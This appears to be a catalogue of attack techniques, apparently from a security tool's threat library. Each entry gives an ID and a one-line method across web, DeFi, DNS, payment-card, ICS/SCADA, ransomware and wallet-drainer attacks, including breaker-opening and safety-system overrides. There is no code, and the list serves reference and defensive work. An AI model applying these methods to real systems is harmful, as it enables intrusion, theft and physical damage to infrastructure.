- DEFI-DONATE-MEVDonate-to-MEV Sandwich
Construct a transaction that pays MEV-Boost validators directly to ensure ordering — pre-empts public mempool searchers.
- DEFI-LEND-LIQ-COLLISIONLending Liquidation Manipulation
Skew the collateral oracle to trigger self-liquidation at attacker-set prices — recover discount while keeping the position open.
- DEFI-VESTING-DRAINVesting Contract Drain
Misconfigured vesting / streaming contract reverts on safety checks but transfers tokens anyway — net positive flow to attacker (real 2024 incidents).
- DNS-CACHE-POISONDNS Cache Poisoning (Kaminsky / SADDNS)
Forge spoofed responses faster than the legit resolver — poison the cache so all clients of that resolver land on attacker IPs.
- DNS-NXNS-AMPNXNS / Subdomain Amplification
Spam NS-delegation chains that force the resolver to issue dozens of queries per attacker request — DDoS amplification primitive.
- HC-HL7-INJECTHL7 v2 Message Injection
HL7 v2 messages are pipe-delimited cleartext — inject crafted segments into the unencrypted MLLP stream to alter lab results / orders.
- HV-ESXI-RANSOMESXi Mass-Encrypt Ransomware
Once root on ESXi, enumerate /vmfs/volumes and encrypt every .vmdk in place — single host outage takes down hundreds of VMs.
- ICS-CRASHOVERRIDECrashOverride / Industroyer Replay
First Industroyer payload (2016) — IEC-101, IEC-104, IEC-61850, OPC DA modules — disable grid relays, wipe Windows controllers.
- ICS-EKANS-OTEKANS / SNAKE OT-Aware Ransomware
Ransomware that pre-kills industrial / SCADA processes (Honeywell HMIWeb, GE Proficy, Siemens) before encryption — designed for OT-adjacent IT.
- ICS-INDUSTROYER2Industroyer2 Timed IEC-104 Sweep
Time-bombed payload speaks IEC-104 to substation RTUs at a precise hour, opens breakers across an entire grid section.
- ICS-PIPEDREAMPipedream / CHERNOVITE Toolkit
Modular toolkit (Tagrun, Codecall, Mousehole) speaks Modbus + OPC UA + CODESYS — generic 'pivot kit' for diverse PLC vendor estates.
- ICS-TRITON-SISTriconex / TRITON SIS Reprogram
Triconex Safety Instrumented System reachable on the OT network — push attacker logic that disables shutdown trips, opening physical-impact path.
- MOB-WEBVIEW-XSSAndroid WebView XSS / JS Bridge
addJavascriptInterface exposes Java methods to JS in WebView — XSS in WebView reaches the bridge and pivots to native code.
- NET-BGP-LEAKBGP Route Leak
Multi-homed customer accidentally leaks transit routes — accidental but DoS-effective; useful as a deniable disruption primitive.
- NET-NTP-AMPNTP Amplification (monlist)
Misconfigured NTP daemon responds to monlist with hundreds of records — amplification factor for spoofed-source DDoS.
- NET-OSPF-LSA-INJECTOSPF LSA Injection
With cracked / no auth, inject Type-1 LSAs to manipulate the OSPF graph — blackhole, MITM, or DoS internal routing.
- NFC-LIMIT-BYPASSContactless Limit Bypass
Set Terminal Transaction Qualifiers (TTQ) to claim CVM was performed — push transactions above the no-CVM limit.
- OT-BACNETBACnet Building Automation Write
Unauthenticated BACnet (UDP/47808) accepts WriteProperty / Reinitialise — switch HVAC, override alarms, brick controllers.
- OT-DNP3-AUTHDNP3 Secure Auth Bypass
DNP3 deployments commonly run unauthenticated. Even where SAv5 is enabled, weak pre-shared keys or downgrade flaws are common.
- OT-ENERGY-IEC104IEC-104 Substation Control
Industroyer-class control of substation RTUs over IEC 60870-5-104 — open breakers, switch ground, denial of service to grid sections.
- OT-KNXKNX/IP Building-Automation Abuse
KNX/IP routers on UDP/3671 with no group-key — read sensor state and inject commands into lighting / blinds / access systems.
- OT-LORAWAN-REPLAYLoRaWAN Replay / FCnt Reset
Devices that reset their frame counter on reboot allow attackers to replay sniffed up/downlinks — spoofed telemetry, denial of legitimate uplinks.
- OT-MODBUS-WRITEModbus TCP Write to PLC
Modbus has no authentication. A reachable PLC accepts unauthenticated 'write single register' / 'write coils' — directly drive outputs / setpoints.
- OT-S7-SIEMENSSiemens S7 Protocol Abuse
S7-300/400/1200/1500 PLCs respond to S7comm — read/write data blocks, stop/start CPU, transfer logic without auth (legacy) or with default password.
- OT-SAFETY-OVERRIDESafety Instrumented System Override
Modify SIS logic (e.g. Triconex) to disable shutdowns — TRITON's payload; enables physical damage paths.
- SE-BEC-INVOICEBusiness Email Compromise — Invoice Fraud
Take over a CFO/AP mailbox or spoof a vendor domain; alter a pending invoice's wire-transfer details — funds redirect to attacker.
- T1485Data Destruction
Delete / corrupt / brick data or systems — wiper-style malware, selfdestruct, irreversible deletes.
- T1486Data Encrypted for Impact
Ransomware-style encryption of victim data.
- T1490Inhibit System Recovery
Delete shadow copies, disable recovery features.
- T1565Data Manipulation
Modify stored / in-transit data to influence outcomes — false records, altered transactions, falsified telemetry.
- VOIP-TOLL-FRAUDToll Fraud / Call Forwarding Abuse
Compromised extension → make expensive international calls or configure call-forwarding to a premium number.
- W-BUSINESS-LOGICBusiness Logic Flaw
Workflow accepts states the designer never imagined — negative quantities, reordered steps, parameter tampering.
- W-CACHE-DECEPTIONWeb Cache Deception
Append /style.css to /account — cache stores the authenticated response under a static-looking URL anyone can fetch.
- W-CACHE-POISONWeb Cache Poisoning
Inject a payload via an unkeyed header (X-Forwarded-Host, X-Original-URL) — cache serves the poisoned response to everyone.
- W-CLICKJACKClickjacking
Frame the target inside an attacker page with opacity / overlay tricks — capture sensitive clicks.
- W-CORS-MISCONFIGCORS Misconfiguration
Access-Control-Allow-Origin reflects arbitrary Origin with Allow-Credentials: true — cross-origin reads of authenticated data.
- W-CRLFCRLF Injection / Response Splitting
Inject \r\n into a header — split the response and inject your own headers or body, often leading to cache poisoning or XSS.
- W-CSRFCross-Site Request Forgery (CSRF)
Force the victim's browser to issue a state-changing request — abuse of cookie auto-attach.
- W-CSRF-LOGINLogin CSRF
Log the victim into an attacker-controlled account — later transactions are recorded against the attacker's account, then back-channeled.
- W-CSWSHCross-Site WebSocket Hijacking (CSWSH)
WebSocket handshake auth via cookies + no Origin check — attacker origin opens an authenticated WS to the target.
- W-DOM-CLOBBERDOM Clobbering
Inject HTML with name/id attributes that shadow JS globals — bypass sanitizers that trust DOM-derived config.
- W-HOST-HEADER-INJHost Header Injection (Password Reset Poisoning)
App generates password-reset link from request Host header — attacker reset link points at attacker domain.
- W-PROTOTYPE-CLIENTClient-Side Prototype Pollution
Pollute Object.prototype in the browser — gadgets in 3rd-party libs turn it into DOM XSS.
- W-RACE-CLASSICClassic TOCTOU Race
Time-of-check / time-of-use — repeatedly invoke an operation between auth and effect (double-spend, simultaneous registration).
- W-RACE-SPSingle-Packet Race Condition
Bundle multiple HTTP/2 requests into a single TCP packet to hit the server within nanoseconds — bypass coupon limits, gift-card stacking, OTP brute.
- W-REQUEST-SMUGGLE-CLTEHTTP Request Smuggling — CL.TE
Frontend honours Content-Length, backend honours Transfer-Encoding — smuggle a second request to bypass auth / poison.
- W-REQUEST-SMUGGLE-H2HTTP/2 Request Smuggling
H2 downgrade to H1.1 corrupts the framing — H2.CL, H2.TE, header CRLF injection variants.
- W-REQUEST-SMUGGLE-TECLHTTP Request Smuggling — TE.CL
Inverse: frontend uses TE, backend uses CL — same impact, different obfuscation.
- W-XSS-BLINDBlind XSS
Payload renders in a back-office context (CRM, support panel) you don't see — XSS Hunter / interactsh callbacks confirm.
- W-XSS-DOMDOM-Based XSS
Sink (innerHTML / location / eval) reads from a user-controlled source (location.hash, postMessage) without sanitization.
- W-XSS-MUTATIONMutation XSS (mXSS)
HTML parser re-serializes sanitized markup into an executable form — bypasses DOMPurify-style filters.
- W-XSS-REFLECTEDReflected XSS
Payload echoed back in the response — phish a victim into clicking the malicious URL to fire JS in their session.
- W-XSS-STOREDStored XSS
Payload persisted server-side and rendered for other users — passive collection of victims, often admin sessions.
- W3-BRIDGE-EXPLOITCross-Chain Bridge Exploit
Bridge's validator-set check is flawed (Ronin / Nomad / Wormhole class). Mint wrapped tokens on the destination chain without locking on the source.
- W3-CROSS-FN-REENTRANCYCross-Function Reentrancy
Reentrancy across two different functions that share state — bypasses single-function nonReentrant guards.
- W3-FLASH-LOANFlash Loan Exploit
Borrow uncollateralised capital atomically; use it to manipulate price oracles, drain liquidity, or vote on governance, repay in the same tx.
- W3-FRONT-RUNFront-running (generalised)
Submit a copy of a profitable mempool tx with a higher gas price — your tx mines first, you capture the value.
- W3-INTEGER-OVERFLOWInteger Overflow / Underflow
Pre-Solidity 0.8 arithmetic without SafeMath wraps around — token balances overflow to huge values, or underflow to 2**256-1.
- W3-MEV-BOT-EXPLOITMEV Bot Exploit (whitehat bait)
Plant a transaction that looks like easy arbitrage; the searcher bot front-runs into a trap contract that steals its gas + funds.
- W3-MEV-SANDWICHMEV Sandwich Attack
Detect a victim swap in the mempool, front-run with buy, back-run with sell — profit from victim's price impact.
- W3-NFT-ROYALTYNFT Marketplace Royalty Bypass
Marketplace contracts that don't enforce ERC-2981 royalties — wrap NFT transfers in attacker contracts to skip royalty payouts.
- W3-ORACLE-MANIPPrice Oracle Manipulation
DeFi contract reads spot price from a single Uniswap pool — temporarily skew the pool with a large trade or flash loan, profit on the dependent contract.
- W3-REENTRANCYReentrancy Attack
Vulnerable contract sends ETH before updating its state — attacker contract re-enters the withdraw function in fallback, drains funds (classic DAO 2016).
- W3-RUGPULLRug Pull / Hidden Admin
Deploy a token with a hidden mint / blacklist / transfer-fee function. Once liquidity is sufficient, mint + dump or freeze holders.
- W3-UNI-V3-ORACLEUniswap V3 Concentrated-Liquidity Oracle Abuse
Manipulate a V3 pool's tick range with concentrated liquidity to swing the in-block TWAP — exploit consumer contracts using short TWAPs.
- WIFI-DEAUTHDeauthentication DoS
Spam 802.11 deauth frames at clients of a target AP — disrupts service, also a primer for handshake capture / evil twin.
- WLT-CLIPBOARD-SWAPClipboard Swap Malware
Malware monitors clipboard for crypto-address regex; silently substitutes the attacker's address — victim pastes + signs the wrong destination.
- WLT-DRAINERWallet Drainer dApp
Crafted dApp tricks the victim into signing eth_signTypedData / setApprovalForAll / permit — instant drain of NFTs and tokens.